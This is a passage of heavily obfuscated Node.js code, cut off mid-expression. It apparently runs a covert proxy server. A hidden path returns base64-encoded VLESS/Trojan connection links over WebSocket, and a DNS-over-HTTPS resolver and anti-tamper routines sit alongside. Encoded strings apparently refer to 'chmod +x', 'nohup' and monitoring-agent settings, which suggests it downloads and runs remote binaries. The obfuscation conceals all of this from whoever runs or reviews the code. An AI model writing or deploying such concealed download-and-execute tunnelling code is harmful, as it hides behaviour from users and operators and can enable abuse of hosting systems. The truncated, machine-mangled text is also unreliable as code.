decodeURIComponent(_0x1af58a);};_0x2ecc['eWeRyW']=_0x19a83b,_0x2ecc['YUTsLQ']={},_0x2ecc['utsSgb']=!![];}const _0x2d6b6c=_0x2319ce[0x2*0x26e+-0xe18+-0x18a*-0x6],_0x54fe97=_0x27a633+_0x2d6b6c,_0x48d982=_0x2ecc['YUTsLQ'][_0x54fe97];if(!_0x48d982){const _0x57cf81=function(_0x17fded){this['QBEvqV']=_0x17fded,this['vCvpLA']=[0x1c93+0x58a+-0x1*0x221c,-0x3*0x115+0x26*-0x102+-0x84f*-0x5,-0xbbe+0x1*-0x22f9+0x1*0x2eb7],this['YnvhJV']=function(){return'newState';},this['gEFeQE']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['TnCrZP']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x57cf81['prototype']['nmeYuc']=function(){const _0x92a2eb=new RegExp(this['gEFeQE']+this['TnCrZP']),_0x837de6=_0x92a2eb['test'](this['YnvhJV']['toString']())?--this['vCvpLA'][-0x43e+-0x6d0+0xb0f]:--this['vCvpLA'][-0x1e3a+0x1a9d+0x25*0x19];return this['bnspys'](_0x837de6);},_0x57cf81['prototype']['bnspys']=function(_0x256cba){if(!Boolean(~_0x256cba))return _0x256cba;return this['DmeEFZ'](this['QBEvqV']);},_0x57cf81['prototype']['DmeEFZ']=function(_0x1471bd){for(let _0x4f9552=-0x209f+-0x1a1c+-0x1e5*-0x1f,_0x542a64=this['vCvpLA']['length'];_0x4f9552<_0x542a64;_0x4f9552++){this['vCvpLA']['push'](Math['round'](Math['random']())),_0x542a64=this['vCvpLA']['length'];}return _0x1471bd(this['vCvpLA'][-0x153d+0x1*0x7b9+0xd84]);},new _0x57cf81(_0x2ecc)['nmeYuc'](),_0x3e1efc=_0x2ecc['eWeRyW'](_0x3e1efc),_0x2ecc['YUTsLQ'][_0x54fe97]=_0x3e1efc;}else _0x3e1efc=_0x48d982;return _0x3e1efc;}function _0x10ed5a(_0x3dc6ad,_0x5c5407,_0x2756c1,_0x4278e8){return _0x2ecc(_0x5c5407- -0x77,_0x2756c1);}const httpServer=http[_0x4a1523(0x1f8,0x1d8,0x16b,0x17f)+'er']((_0x548d07,_0x18ab13)=>{function _0x48aedc(_0x5e2bab,_0x2164f6,_0x9a6026,_0x4e5067){return _0x10ed5a(_0x5e2bab-0x1c4,_0x4e5067-0x9e,_0x5e2bab,_0x4e5067-0x1d2);}const _0x1ca03a={'GgSDg':function(_0x10cd35,_0x47b1e0,_0x31a6af){return _0x10cd35(_0x47b1e0,_0x31a6af);},'kAICC':_0x48aedc(0x29a,0x32c,0x227,0x290),'WIjne':_0x441a37(0x13b,0x21c,0x1fe,0x2a8),'MEkWZ':_0x48aedc(0x274,0x36d,0x283,0x32b)+'d!','khfDh':function(_0x9ff08,_0x4be3a6){return _0x9ff08===_0x4be3a6;},'VfJXp':_0x48aedc(0x322,0x342,0x3b6,0x310),'ozYfV':_0x48aedc(0x27e,0x2e4,0x2fa,0x2eb),'PLcND':function(_0x421374,_0x32de87){return _0x421374===_0x32de87;},'fZwGL':function(_0x325e90,_0x33eb90){return _0x325e90+_0x33eb90;},'PiSrM':function(_0xcf4556,_0x3b9100){return _0xcf4556+_0x3b9100;},'PyMTC':_0x441a37(0x27a,0x23b,0x206,0x1ec),'riJNa':'text/plain','JkEkJ':'Not\x20Found\x0a'};function _0x441a37(_0x17cef9,_0x5a5795,_0x1ebe0f,_0x11725f){return _0x10ed5a(_0x17cef9-0x56,_0x1ebe0f- -0x68,_0x17cef9,_0x11725f-0x28);}if(_0x1ca03a[_0x441a37(0x22f,0x126,0x1c0,0x23d)](_0x548d07[_0x48aedc(0x2f2,0x20b,0x2a4,0x2d5)],'/')){const _0x283abf=path[_0x48aedc(0x346,0x264,0x340,0x298)](__dirname,_0x1ca03a[_0x48aedc(0x20a,0x21f,0x218,0x21c)]);fs[_0x441a37(0x186,0x1e6,0x215,0x262)](_0x283abf,_0x1ca03a[_0x48aedc(0x2ea,0x2c7,0x368,0x29b)],(_0x43cbfd,_0x5c9277)=>{const _0x3d689b={'jcyKt':function(_0x4a02f0,_0x33085d,_0x78517d){function _0x3ef947(_0x154c47,_0x1e9e8c,_0x48acb9,_0x165163){return _0x2ecc(_0x165163-0x3c3,_0x48acb9);}return _0x1ca03a[_0x3ef947(0x6c4,0x62c,0x615,0x629)](_0x4a02f0,_0x33085d,_0x78517d);}};function _0x47a0f9(_0xbb38b6,_0x51a0df,_0x38377f,_0x50a3c6){return _0x441a37(_0x50a3c6,_0x51a0df-0x13b,_0x51a0df-0x80,_0x50a3c6-0x15e);}if(_0x43cbfd){if('ZQkHw'===_0x1ca03a['kAICC']){const _0x270f36=_0x142148['slice'](-0x1165+0x12f*-0x7+-0x107*-0x19,-0x331+-0x6*-0x20+0x282),_0x5626de=_0x270f36[_0x47a0f9(0x218,0x22f,0x210,0x29c)]((_0x2c3eb0,_0x1b5ee9)=>_0x2c3eb0==_0xe7d0b0(_0x5bbdbb[_0x5a4d26(0xd1,0x106,0x32,0x2e)](_0x1b5ee9*(-0xf4*-0x1a+-0x104+0xbe1*-0x2),0x3*-0x5de+0x2572+-0x13d6),-0x1*-0x43f+-0x1*0x1ead+0x1a7e));if(_0x5626de){!_0x3d689b[_0x47a0f9(0x198,0x209,0x2c3,0x1c5)](_0x26c30e,_0x5d86ac,_0x54a728)&&_0x1066ab[_0x5a4d26(0x3c,0xf2,-0x1f,0x94)]();return;}}else{const _0x369142={};_0x369142[_0x47a0f9(0x6c,0x123,0xbb,0x64)+'pe']=_0x1ca03a[_0x5a4d26(0xba,0xeb,0x154,0xf5)],_0x18ab13[_0x5a4d26(0x111,0x183,0x86,0x16e)](0x114*-0x8+-0x5ba+0xf22,_0x369142),_0x18ab13[_0x5a4d26(0xec,0x17f,0xc2,0xaf)](_0x1ca03a[_0x5a4d26(0x12a,0x1a9,0x8b,0x18a)]);return;}}const _0x86fda2={};function _0x5a4d26(_0x4954eb,_0x4fd282,_0x2d31b2,_0x261006){return _0x441a37(_0x4fd282,_0x4fd282-0x110,_0x4954eb- -0xdd,_0x261006-0x68);}_0x86fda2['Content-Ty'+'pe']=_0x1ca03a[_0x47a0f9(0x272,0x217,0x20e,0x150)],_0x18ab13['writeHead'](0x2125*-0x1+0x1*0x21b3+0x3a,_0x86fda2),_0x18ab13[_0x47a0f9(0x30a,0x249,0x195,0x2c4)](_0x5c9277);});return;}else{if(_0x1ca03a[_0x441a37(0x127,0x248,0x1c7,0x176)](_0x548d07[_0x48aedc(0x398,0x372,0x33d,0x2d5)],'/'+SUB_PATH)){const _0x23e945=NAME?NAME+'-'+ISP:ISP,_0xc3de7a=_0x441a37(0x3f,0x10e,0xf8,0xc1)+UUID+('@cdns.doon'+_0x48aedc(0x1d4,0x2ea,0x2ac,0x279)+_0x48aedc(0x23d,0x135,0x11e,0x1b4)+_0x441a37(0x6c,0x97,0xe8,0x1b2)+_0x48aedc(0x3ae,0x241,0x336,0x2fc)+_0x441a37(0x14c,0x23e,0x172,0x1f3))+DOMAIN+(_0x48aedc(0x1a3,0x166,0x286,0x22a)+_0x441a37(0xba,0x21,0xd2,0x131)+_0x441a37(0x9a,0xb6,0xb3,0x177))+DOMAIN+_0x48aedc(0x2c2,0x2ae,0x2ee,0x2f0)+WSPATH+'#'+_0x23e945,_0x49b4aa=_0x441a37(0x19b,0x21d,0x1c2,0x275)+UUID+(_0x48aedc(0x317,0x2a5,0x2a2,0x2b3)+_0x441a37(0x14a,0x236,0x173,0x195)+_0x48aedc(0x318,0x369,0x36f,0x2bf)+'=tls&sni=')+DOMAIN+(_0x48aedc(0x259,0x2dc,0x21f,0x22a)+_0x441a37(0x13e,0x106,0xd2,0xa3)+_0x441a37(0x81,0x5d,0xb3,0x15a))+DOMAIN+_0x441a37(0x29c,0x262,0x1ea,0x1da)+WSPATH+'#'+_0x23e945,_0x2ee20f=_0x1ca03a['fZwGL'](_0x1ca03a[_0x48aedc(0x2b7,0x1f8,0x200,0x2a1)](_0xc3de7a,'\x0a'),_0x49b4aa),_0x3e3de3=Buffer[_0x441a37(0x18a,0x23d,0x1a0,0x25f)](_0x2ee20f)['toString'](_0x1ca03a['PyMTC']),_0x277cea={};_0x277cea[_0x48aedc(0x24b,0x149,0x1f9,0x1a9)+'pe']=_0x1ca03a[_0x441a37(0x169,0x1e1,0x1d0,0x202)],_0x18ab13['writeHead'](0x36*0x30+-0x10b5+0x1d*0x41,_0x277cea),_0x18ab13[_0x441a37(0x193,0x110,0x1c9,0x27d)](_0x3e3de3+'\x0a');}else{const _0xffa712={};_0xffa712[_0x48aedc(0x150,0x13a,0x14d,0x1a9)+'pe']=_0x1ca03a[_0x48aedc(0x28b,0x2c9,0x2de,0x2d6)],_0x18ab13['writeHead'](-0xfca+-0xc07+-0x2b*-0xaf,_0xffa712),_0x18ab13[_0x441a37(0x261,0x12e,0x1c9,0x168)](_0x1ca03a[_0x48aedc(0x232,0x20f,0x26b,0x2a0)]);}}}),_0x4cdf1f={};function _0x3c44(){const _0x201fdf=['AM9PBG','zwn0Aw9Ux2nVDq','ywyXltm3ndbLnq','B3PzzLy','vufzze8','v0LQBMu','CNvUBMLUzYbVBG','DuLtuwS','sMTfA0O','ugLtCK0','zMfSC2u','iciUl1TUxxbTiG','z3jmz0O','Ahr0Chm6lY9HCG','zNjVBq','igzHBhnLcMrPCW','ls1ZA2LWlwnVBG','x3rVx3vWz3jHza','qxPrvw0','qvj0Evi','CgLWzq','DhLWzq','y2f0y2G','Bty0lNnZC3mUBG','CNbuqxe','DM1ovxO','q3HLDMS','qgnKBNmUzg9VBG','C3vIC3rY','zxzLCNK','zhbov0G','wej4r2y','zezWr3e','BNvSBcaYpIyXia','t0X0z1y','BwvZC2fNzq','ndqZ','u2vYDMvYigLZia','z0rPrNe','mZ9Zzwn1CML0Eq','y3jLyxrLv3jPDa','C2vUza','uKzYq2q','z2PUA1G','CNrFzgvSyxK6ia','veT4AvO','A2HMrgG','tLDTyuG','DhjVAMfUoI8V','qLLYB3K','yuvXsgm','yxjJAa','uunoyw0','ueXJtKq','nti5mJuXyMvcEKPk','zw5K','uwPZwLe','yxrLoIb0CNvLcG','vLjSv04','BMv0','BfDlA08','DxjS','CMLktMe','BLb0zxu','ueXIAg0','BwTRufC','DxrMltG','BM1Quu8','DgLTzw91Da','C0Ddtei','y2HPBgrFChjVyW','yxjT','sKLlvum','ywfYy2G2na','BNbTigrVD25SBW','zqP0zw1WzxjHDa','ChmGyxv4ihWGzW','sMvltfG','yLHMA3a','vxfpC1C','qLvrvuq','mJa4mW','zw52','DxrMoa','Cg9YDa','BNbTigLZigfSCG','zvL0u1O','re9nquLo','jNbHDgG9jtjg','qvvut19bq0nfuW','BNbTigLZihj1BG','uLrUEhu','D3jPDgvizwfK','ALDAzxe','y291BNq6ihrYDq','AhnYrMG','Ahr0Chm6lY9ZCa','DhjPBq','DMXLALi','Bg5sB1e','y3vYAxr5pxrSCW','thHZCw8','EwmUBw4VDJe','mJaWoty4vwPNCfj3','CMvWic12icjNCG','yMXeAgO','ALfxA2W','A2LWx3bYB2nZxW','Dgv4Dc9ODg1S','Dw5UAw5NlI4U','s1LmAxa','yxbWBhK','v2j1CK4','tKvAseeGDMfYAq','Dc1KzwXHEsa0ia','zeDZs2e','yMfZzty0','tuvRv1O','CMv0oIa','y29UBMvJDgLVBG','Aw5KzxGUAhrTBa','BMCSihnRAxaGCG','ic1Wia','Dg9tDhjPBMC','B3jJzv91CgrHDa','vMvju3m','mJa1mW','Ahr0Chm6lY8','q01rz1C','ndK1zdHM','s3rWsue','CMvHzezPBgu','tKvAsefFu0vsvG','v1fbq2S','DwukAxbFCMvWBW','q1DkD2O','v1nqqvri','BI9QC29U','vhfhEgu','ue9sva','zgLNzxn0','re5tihnLCNzLCG','vMv1rfq','z0Txq1a','Ahr0Ca','D2DZthG','zhrYB1a','sgvSBg8GD29YBa','CLjosMG','y3rVCIGICMv0Dq','y3jLyxrLu2vYDG','ue5kD3e','B0HjuNK','mZvKtMXIq2e','yxHPB3m','ihDPDgGGywXSia','D01bEKC','Afbet0q','m2eZltq5ntyTyG','uvP6uKu','svjmyMG','uwfZveK','D3jPDgvgAwXLuW','CePWAhq','C2vFAxb2nL9JBW','zgLZywjSzv9JBW','CMv0DxjUicHMDq','C2vHCMnO','A29lz2G','vufquxu','E30Uy29UC3rYDq','DgvuzLO','weLHCuG','q29UDgvUDc1uEq','zLzIC0C','EgnpAhO','CMvHzfvjBNqXnG','sM50Cxa','DxbKyxrL','y2XPzw50x3nLyW','DgLVBG','sK5gDNC','z2v0','zxjYB3i6ia','mZ9LBMnYExb0Aq','zwfKEsbYDw5UAq','ms4XlJeUmq','yNfkzuG','BNq6ihrYDwukCW','B3n0pq','q0TMyLu','y29Uy2f0','s09kzKO','CMvZB2X2zsa','CM4GDgHPCYiPka','ANLMD0i','y29UBMvJDa','y1zfvvu','rgLjrLG','DM1sz2e','BNbT','BMLUzW','zgP4Ahq','ChPVz0W','BuPhtwi','qNviEKy','cNnRAxbFy29UBG','CM9iyMq','DfLRrgO','zgvJB2rL','ide4mdakCMvWBW','DvboDxq','CLrlAem','zxjYB3i','ALPvq3O','y3j5ChrV','mtiZnc5HyMmUyW','EhLRzeS','oIbMywXZzqP1Dq','tKvAsefFs0vz','jNr5Cgu9D3mMAa','C2XPy2u','Dw50CNLFy29Kzq','zxaIihWGz3jLCa','A2rZt2e','C2vYDMvY','D1LezgW','EMfTtKu','zfjJDwu','vujXt1u','AYbHzgrLzcbZDq','sgTUzeq','Ahr0Chm6lY9HBq','zxnZ','Ahr0Chm6lY9VBW','CgPdBgi','mty0odH4ugfhEMC','CNvUBMLUzW','tNHcAgy','A2DPs1u','B25Jzq','ruTStK8','B249BM9UzszZzq','C3vI','vNzoDu4','l2jPBI9IyxnO','zv9HDxrVx3vWza','rxzTqu0','y29UC29Szq','oda2mZa0s0XbDNrx','ru1IDuS','DxLTyxC','CMvWBgfJzq','mJa5nG','qw5ZD2vY','zwvKlMnSB3vKzG','ihbVCNqG','y2HTB2qGk3GGBG','DMXLC3m6lY8','AhPNqwS','BwnwtwG','yMLUza','BMv0l2fKzc11CG','Dw91Cxa','Dhj1zq','mKTcrLPAzG','AuLkDNO','EePYvNK','mJa4nW','ALPXs2W','DMTMrwK','CKzIAuK','BwfW','yNvMzMvY','wu9Nv3m','BhnLcMrPC2fIBa','Bg9N','ic0TzgLZywjSzq','qLvhvwm','q3D5yKi','u0LHvhG','vxfNvfy','vwXlv1q','DgHLBG','Dwftv0y','BhnLcMLUC2vJDq','cMrPC2fIBgvFzG','Cgf0Aa','vMzkwha','zg9SD3C','Dw5SAw5R','y2XVC2u','C2HLBgW','rwT0s2i','tgHqBgC','zNvSBhK','BMn0Aw9UkcKG','wxLOzfG','reLiuvm','y3bUzKK','Aw5MBW','zgf0yq','jMzWpwnOCM9Tzq','BgLZDgvU','vvvjra','zxH6wKO','ChjVDg90ExbL','C3rYzwfT','EMXACw0','tMD1CMu','kcGOlISPkYKRkq','ndCXndm2meLwCeHwuG','D2HWAxC','A1vqDLq','CM9JCYa+l2rLDG','y1PlDfG','rurczwC','yxjTnJq','zMLUza','AuPmv3K','DhzLt0K','Cw5yB1y','CY5NB29NBguVCG','z3bnr2K','cNrSCZOG','zvjnueu','Bw1HBMrFzxHLyW','EKrqzK8','tfb3EuW','rgHTz0K','C1jHEw0','BMzrB2G','qwTxs1e','DKfbvu8','AgLyAfe','DePIEM0','CvHjA28','DgHYsxe','tKvAsefFue9sva','C2v0C2LKig5VAa','Chr5lcbZA2LWia','BgvUz3rO','zg5eC0e','sNPjzNO','AgvHzgvYCW','odu2EMzPD3Lo','r3zXDK4','Ae5vDwq','Ahr0Chm6lY9KBG','mJaXotGWmvvAu3LeuG','C2fIBgvFBMf0oG','BNjLq0W','y29UzMLNlNLHBq','u1vcx1bbveG','zffmEeO','x19WCM90B19F','qwnJzxb0','sfjqC2m','mJqYnJKXqvPdtKH2','tKfnrq','z2Lyr3G','whPrEge','qxfOCLC','ywjSzsbPCYbLBq','whz1zhK','Cg9W','D3DsEfC','AgrjAhi','C3bSAxq','yu9owgm','z3HZy00','Aw5JBhvKzxm','qwz5u3C','svL3v2S','zMLUAxnO','yw1Sid4Vzgv2lW','wMzVu0m','qwnJzxnZifrHCW','BNbTihj1BM5PBG','vw5RBM93BG','jNnUAt0','lMv1lM9YzZO0na','DguGls1YzxbVCG','vhPnzNq','D3jPDgu','qxv0B21HDgLJia','zdy0lNnZC3mUBG','EMT5vha','rNn2CLC','CMvHzfvjBNq4','ztOGDhj1zqPKAq','jNr5Cgu9qq','yvrkD3G','Chb3C0W','l251BgWGmJ4Mmq','y2nLC3nMDwXSEq','C0Hzz3C','veD5s2e','ELf6t1O','yxbWBgLJyxrPBW','y29UC3rYDwn0BW','r2DtrgC','CMvKDwnL','AMn5s3q','sefOBe4','Ag9ZDa','B2PNCgu','ywqGC3vJy2vZCW','r1jgBha','u1n1z0S','D2fYBG','zxrH'];_0x3c44=function(){return _0x201fdf;};return _0x3c44();}_0x4cdf1f[_0x4a1523(-0x3,0x87,0x84,0xc)]=httpServer;const wss=new WebSocket['Server'](_0x4cdf1f),uuid=UUID[_0x4a1523(-0x16,0xa2,0x53,0x5d)](/-/g,''),DNS_SERVERS=['8.8.4.4',_0x4a1523(0x9b,0x60,0xcd,0x5e)];function resolveHost(_0x559f59){function _0x6cbb7b(_0x127abe,_0x592147,_0x25e013,_0x464b9d){return _0x10ed5a(_0x127abe-0x6a,_0x592147-0x28b,_0x25e013,_0x464b9d-0x12e);}const _0x42df22={'jZqKl':function(_0x4a2973,_0x45d478){return _0x4a2973(_0x45d478);},'bXWrV':function(_0x3f7bf1,_0x4db859){return _0x3f7bf1!==_0x4db859;},'GOdTN':function(_0x33145e,_0x59f3be){return _0x33145e+_0x59f3be;},'AfySw':'return\x20(fu'+'nction()\x20','rRNJh':_0x6cbb7b(0x399,0x422,0x397,0x436),'UAYdO':function(_0x255372,_0x413fdf){return _0x255372===_0x413fdf;},'gDiFq':function(_0x3e1b92,_0x24640f){return _0x3e1b92>_0x24640f;},'rpTAq':function(_0x885630){return _0x885630();},'tYkDj':function(_0x56d2a0,_0x43b3a1){return _0x56d2a0>=_0x43b3a1;},'Lxsqo':_0x1d1f63(0x462,0x433,0x4ad,0x463),'zLzob':function(_0x3541ce,_0x5f0da0){return _0x3541ce!==_0x5f0da0;},'CKfbU':_0x6cbb7b(0x480,0x400,0x469,0x41b)};function _0x1d1f63(_0x2e6708,_0x5ad23c,_0x15b829,_0x40ef9f){return _0x10ed5a(_0x2e6708-0xb8,_0x40ef9f-0x356,_0x2e6708,_0x40ef9f-0x33);}return new Promise((_0x317afc,_0x205ea3)=>{function _0x1da409(_0x29e7b6,_0x521b5a,_0x590a4e,_0x91c7b2){return _0x1d1f63(_0x29e7b6,_0x521b5a-0x10c,_0x590a4e-0x18a,_0x91c7b2- -0x505);}const _0x40dbd8={'nPteu':function(_0x2af143,_0x510ff5){function _0x2432fe(_0x46e77a,_0x4c4462,_0x47407c,_0xa3dc9b){return _0x2ecc(_0x47407c- -0xb6,_0x4c4462);}return _0x42df22[_0x2432fe(0xaa,0x1b8,0x12c,0xa3)](_0x2af143,_0x510ff5);},'AzQUm':function(_0xc9a435,_0x2f58ac){return _0x42df22['bXWrV'](_0xc9a435,_0x2f58ac);},'vmNUz':_0x2a1c84(0x41a,0x4e3,0x483,0x4b8),'ZGope':function(_0x2c2117,_0x512dbe){return _0x42df22['GOdTN'](_0x2c2117,_0x512dbe);},'QCNam':_0x42df22[_0x1da409(-0x7f,-0x42,-0x7a,0x23)],'zieYN':_0x42df22[_0x2a1c84(0x51f,0x546,0x523,0x5ac)],'wYDdl':function(_0x2bfd81,_0x5f57a2){function _0x24b265(_0x192b01,_0x148c33,_0x1f970d,_0x15abe6){return _0x1da409(_0x1f970d,_0x148c33-0x15c,_0x1f970d-0x60,_0x148c33-0x501);}return _0x42df22[_0x24b265(0x61b,0x550,0x5a3,0x52e)](_0x2bfd81,_0x5f57a2);},'whpiw':function(_0x29c22a,_0x15e514){function _0x33804a(_0x684fda,_0x886e03,_0x4a0c93,_0x46ba42){return _0x1da409(_0x46ba42,_0x886e03-0x1e7,_0x4a0c93-0x112,_0x4a0c93-0x404);}return _0x42df22[_0x33804a(0x42d,0x3fd,0x475,0x479)](_0x29c22a,_0x15e514);},'RFrCd':_0x2a1c84(0x4db,0x4cb,0x573,0x59e),'WburN':function(_0x3afc2b){function _0x35ba64(_0x58758e,_0x47c942,_0x20a6e5,_0x198fcb){return _0x2a1c84(_0x20a6e5- -0x166,_0x47c942-0x4c,_0x20a6e5-0x60,_0x198fcb);}return _0x42df22[_0x35ba64(0x351,0x364,0x33d,0x3f8)](_0x3afc2b);},'jNKLg':function(_0x3ff931,_0x657c9){function _0x48f19f(_0x249835,_0x2db228,_0x244e5b,_0x4ee71d){return _0x2a1c84(_0x249835-0x47,_0x2db228-0x11d,_0x244e5b-0x13,_0x4ee71d);}return _0x42df22[_0x48f19f(0x406,0x49e,0x34f,0x484)](_0x3ff931,_0x657c9);}};function _0x2a1c84(_0x2c5183,_0x2ccd7e,_0x729b82,_0x4c1d02){return _0x6cbb7b(_0x2c5183-0x1f0,_0x2c5183-0x6,_0x4c1d02,_0x4c1d02-0xa9);}if(_0x42df22[_0x1da409(-0x63,0x89,0x34,0x4f)](_0x42df22[_0x2a1c84(0x4f0,0x4da,0x4ce,0x429)],_0x2a1c84(0x50b,0x46a,0x4cd,0x46b))){!_0x5dad91(_0x2d5335,_0x1e08f0)&&_0x1191e7[_0x1da409(-0xc3,-0x95,0x4c,-0x2e)]();return;}else{if(/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/['test'](_0x559f59)){if(_0x42df22['zLzob'](_0x42df22[_0x2a1c84(0x3ad,0x357,0x3e5,0x3c3)],_0x1da409(-0xee,-0x2e,-0x58,-0x3a))){_0x40dbd8[_0x2a1c84(0x4ca,0x56a,0x40c,0x41b)](_0x5574df,_0x2a259c);return;}else{_0x42df22['jZqKl'](_0x317afc,_0x559f59);return;}}let _0x3414a0=-0xfd7+-0x3e*-0x95+-0x143f;function _0x2684eb(){const _0x485740={'koKgh':function(_0x352e75,_0x47a008){return _0x352e75(_0x47a008);},'hsrFh':function(_0xb77a61,_0x231692){return _0x40dbd8['ZGope'](_0xb77a61,_0x231692);},'XBxGf':_0x40dbd8[_0x345315(0x21b,0x294,0x1d8,0x2c3)],'xykdK':_0x40dbd8['zieYN'],'zrINn':function(_0x298c31,_0x69dfe3){function _0xa00c6(_0x23d393,_0x279168,_0x5074d1,_0x2be10f){return _0x345315(_0x2be10f- -0x18b,_0x279168-0x1d2,_0x5074d1-0x195,_0x279168);}return _0x40dbd8[_0xa00c6(-0x45,0x12,-0x12,-0x5e)](_0x298c31,_0x69dfe3);},'KOJfJ':function(_0x31c3d1,_0x266105){function _0x5aacb7(_0x421ea7,_0x52953f,_0x3f395a,_0x3c2774){return _0x345315(_0x3c2774- -0x16,_0x52953f-0xc2,_0x3f395a-0x41,_0x52953f);}return _0x40dbd8[_0x5aacb7(0x10a,0x217,0xa1,0x16d)](_0x31c3d1,_0x266105);},'rDcTS':function(_0xdf97a7,_0x3cc68b){function _0x1c94e2(_0x588a91,_0x4b608c,_0x393c3b,_0xeca6cb){return _0x345315(_0x588a91- -0x80,_0x4b608c-0x166,_0x393c3b-0x6e,_0x4b608c);}return _0x40dbd8[_0x1c94e2(0x179,0x23f,0x103,0x184)](_0xdf97a7,_0x3cc68b);},'LhPlg':_0x40dbd8[_0x553528(0x220,0x1ff,0x1e3,0x23c)],'QZzRE':function(_0x6b961e){function _0x4c4865(_0x9bf7da,_0xafb9d4,_0xc841b3,_0x57d24f){return _0x345315(_0x57d24f- -0xd,_0xafb9d4-0x11b,_0xc841b3-0xa1,_0xc841b3);}return _0x40dbd8[_0x4c4865(0x194,0x1e3,0x1da,0x24a)](_0x6b961e);},'JNFvw':function(_0x2b9517){function _0x53d571(_0xbf0207,_0x257a22,_0x5e86eb,_0x560d89){return _0x345315(_0xbf0207-0x1fc,_0x257a22-0x139,_0x5e86eb-0xb1,_0x5e86eb);}return _0x40dbd8[_0x53d571(0x453,0x4a6,0x45b,0x4e8)](_0x2b9517);}};if(_0x40dbd8['jNKLg'](_0x3414a0,DNS_SERVERS[_0x345315(0x1a0,0xd7,0x152,0x1c6)])){_0x205ea3(new Error('Failed\x20to\x20'+_0x345315(0x10c,0x40,0x6a,0x9d)+_0x559f59+(_0x553528(0x291,0x321,0x2f7,0x30d)+_0x553528(0x283,0x326,0x209,0x1cd)+'s')));return;}const _0x329ff8=DNS_SERVERS[_0x3414a0];_0x3414a0++;const _0x72712f=_0x345315(0x1a7,0x17b,0xfb,0x274)+_0x345315(0x18d,0x145,0xd1,0x1f8)+'esolve?nam'+'e='+encodeURIComponent(_0x559f59)+_0x553528(0x1e1,0x16b,0x23c,0x1d0),_0x1f36a2={};_0x1f36a2[_0x553528(0x1be,0x113,0x19c,0x149)]='applicatio'+'n/dns-json';const _0x18ba69={};_0x18ba69[_0x345315(0x22b,0x2c9,0x259,0x228)]=0x1388,_0x18ba69[_0x345315(0x1a3,0xe6,0x257,0x154)]=_0x1f36a2;function _0x553528(_0x1cd967,_0x47a598,_0x509fa1,_0x238225){return _0x2a1c84(_0x1cd967- -0x295,_0x47a598-0x161,_0x509fa1-0x17f,_0x509fa1);}function _0x345315(_0x2e7d36,_0x59adb9,_0x5a48c2,_0x1e4324){return _0x1da409(_0x1e4324,_0x59adb9-0x1f2,_0x5a48c2-0x1b8,_0x2e7d36-0x19c);}axios[_0x553528(0x110,0x7c,0x180,0x95)](_0x72712f,_0x18ba69)[_0x345315(0x166,0xbb,0x123,0x161)](_0x3956e8=>{const _0x15deac={'hdIhr':function(_0x5f0283,_0x178319){function _0x40a7d8(_0x3f7e8f,_0x31b826,_0x547a97,_0x5c4494){return _0x2ecc(_0x3f7e8f- -0x263,_0x547a97);}return _0x485740[_0x40a7d8(0xb6,0x119,0x165,0x53)](_0x5f0283,_0x178319);},'ZfoSC':function(_0x404cb6,_0x487304){function _0x34e1f9(_0xfb4123,_0x24c9d7,_0x1bf633,_0x231483){return _0x2ecc(_0x24c9d7- -0xa7,_0xfb4123);}return _0x485740[_0x34e1f9(0x190,0x229,0x2e5,0x2d4)](_0x404cb6,_0x487304);},'KYLip':function(_0x798650,_0x427e6a){function _0x50d07d(_0x212e05,_0x3dd54b,_0x25632b,_0x25d2c9){return _0x2ecc(_0x25632b- -0x1d5,_0x212e05);}return _0x485740[_0x50d07d(0x82,0x1af,0xfb,0x7c)](_0x798650,_0x427e6a);},'jmmob':_0x485740[_0x58910c(-0x90,-0xf8,-0x5f,-0x47)]};function _0x58910c(_0x463926,_0x11097f,_0x455fde,_0x22c43e){return _0x345315(_0x22c43e- -0x24d,_0x11097f-0xb9,_0x455fde-0xd1,_0x463926);}function _0x14fa01(_0x107d6b,_0x2402a1,_0x5a5fde,_0x346bda){return _0x345315(_0x2402a1- -0x2c6,_0x2402a1-0xef,_0x5a5fde-0xf4,_0x107d6b);}if(_0x485740[_0x14fa01(-0xd5,-0x1a2,-0x258,-0x21e)]===_0x485740[_0x58910c(-0xe7,-0x1a4,-0x1b2,-0x129)]){const _0x143418=_0x3956e8[_0x58910c(-0x41,-0x9,-0x94,-0xd5)];if(_0x485740['zrINn'](_0x143418['Status'],-0x113d+0x1*-0x48b+-0xae4*-0x2)&&_0x143418[_0x58910c(-0x1c5,-0xaf,-0x6a,-0x104)]&&_0x485740[_0x58910c(-0x145,-0x1df,-0x112,-0x142)](_0x143418[_0x14fa01(-0x196,-0x17d,-0x1d1,-0xe8)]['length'],0x1fa1+-0x24e7+0x546)){const _0x995cbb=_0x143418[_0x14fa01(-0x100,-0x17d,-0x216,-0xb8)][_0x58910c(-0xab,-0x192,-0xe9,-0xc4)](_0xf7537e=>_0xf7537e[_0x14fa01(-0x185,-0xca,-0x7f,-0x24)]===-0xcb3*0x1+0x371+0x943);if(_0x995cbb){if(_0x485740['rDcTS'](_0x14fa01(-0x56,-0x5d,0x17,0x5f),_0x485740[_0x14fa01(-0xce,-0x155,-0x102,-0x14d)])){_0x317afc(_0x995cbb[_0x14fa01(-0x162,-0x14e,-0x96,-0xd2)]);return;}else _0x47a5e9+=0x1c5e+-0x1637+-0x625;}}_0x485740[_0x14fa01(-0xf7,-0x40,-0x109,-0xf)](_0x2684eb);}else _0x486197=qRzwIN[_0x58910c(-0x60,-0x75,-0x58,-0x93)](_0x122e80,qRzwIN[_0x14fa01(-0x184,-0x103,-0x13c,-0x110)](qRzwIN[_0x58910c(-0x7a,0xc9,0x3a,0x8)](qRzwIN['jmmob'],_0x58910c(0x106,0x46,0xf2,0x44)+_0x14fa01(-0x28,-0x4a,0x6b,-0xb9)+'rn\x20this\x22)('+'\x20)'),');'))();})['catch'](_0xbf8f9f=>{function _0x40e0ca(_0x265793,_0x9a26b4,_0x424b82,_0x10bcf4){return _0x553528(_0x265793-0x38c,_0x9a26b4-0x1c4,_0x424b82,_0x10bcf4-0x174);}function _0x23dc6e(_0x30375e,_0x102aba,_0x14510b,_0x49cc03){return _0x553528(_0x102aba- 